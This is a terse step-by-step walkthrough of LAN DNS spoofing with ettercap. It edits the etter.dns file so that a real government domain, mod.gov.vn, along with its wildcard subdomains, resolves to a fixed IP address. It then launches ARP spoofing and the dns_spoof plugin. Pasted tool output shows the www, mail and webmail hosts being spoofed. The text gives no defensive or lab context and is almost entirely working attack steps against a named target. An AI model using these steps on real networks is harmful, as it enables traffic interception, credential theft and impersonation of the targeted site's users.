DNS Spoofing from a LAN
1) Locate the etter.dns file to be edited
locate etter.dns
/etc/ettercap/etter.dns
you would need to edit this file
nano /etc/ettercap/etter.dns

2)modify accordingly
below the line microsoft sucks

######################################
mod.gov.vn      A       31.192.120.36
*.mod.gov.vn    A       31.192.120.36
www.mod.gov.vn  PTR     31.192.120.36
#######################################
ctrl X
Y
enter

ettercap -G
sniff > unified sniffing

host > scan for host

start > sniffing
MITM > ARP spoofing > sniff all remote connection
Plugin> manage Plugin > dns_spoof
shift C

 GROUP 2 : ANY (all the hosts in the list)
Activating dns_spoof plugin...
dns_spoof: A [www.mod.gov.vn] spoofed to [31.192.120.36]
dns_spoof: A [mail.mod.gov.vn] spoofed to [31.192.120.36]
dns_spoof: A [webmail.mod.gov.vn] spoofed to [31.192.120.36]